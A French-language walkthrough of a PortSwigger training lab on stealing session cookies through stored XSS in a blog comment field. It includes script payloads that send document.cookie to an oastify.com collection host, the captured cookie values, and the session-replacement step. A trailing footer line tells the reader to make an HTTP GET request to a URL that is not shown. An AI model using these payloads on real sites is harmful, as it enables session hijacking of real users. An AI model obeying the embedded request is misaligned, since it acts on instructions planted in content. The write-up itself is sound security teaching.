> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xss/cookie-theft-via-xss.md).

# Vol de cookies via XSS

Notes sur le vol de cookies via XSS pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiati

### Exploiter une faille de Cross-Site Scripting pour voler des cookies

Le laboratoire présente une vulnérabilité XSS stockée dans la fonction de commentaires du blog. Un utilisateur victime consulte les commentaires après la publication. L'objectif pédagogique est de comprendre comment une injection côté client peut conduire à l'exfiltration d'informations de session et comment s'en protéger.

Le champ de commentaire n'applique pas un encodage ou un échappement suffisant aux entrées utilisateur, ce qui permet au navigateur d'injecter du contenu lorsqu'un autre utilisateur affiche la page.

```javascript
<script>alert(0)</script>
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22abeda5902f0fea72bb8cc1c01d0560c499285b%2Fimage%20(420).png?alt=media" alt="" width="527"><figcaption></figcaption></figure>

Nous utilisons `fetch` pour effectuer des requêtes :

```javascript
<script>
  fetch("https://o0ppmd5fv2hmt8tb190bl5cy4pagy9my.oastify.com/" + "/jordan");
</script>
```

La requête arrive sur l'infrastructure d'écoute.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-edf0f7ec18a65ec34b3f32a0531f9190b106818f%2Fimage%20(421).png?alt=media" alt=""><figcaption></figcaption></figure>

Nous envoyons le cookie de session :

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + document.cookie);
</script>
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-09e240f2f59ce2a8e8f733a8e60670b812a47837%2Fimage%20(422).png?alt=media" alt=""><figcaption></figcaption></figure>

```
secret=QplRMu1d8Cvif8Ai7En7j3ADRb0DZxa0;
session=sw0gW8IuyBITTD0ChgDydWcmuFx5J79D
```

Nous remplaçons ensuite le cookie de session.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bf431f16086fa0d6672c355e0bff31758388a71b%2Fimage%20(423).png?alt=media" alt=""><figcaption></figcaption></figure>

Vous pouvez aussi encoder le contenu en base64 avant l'envoi :

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + btoa(document.cookie));
</script>
```


---

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Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
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```

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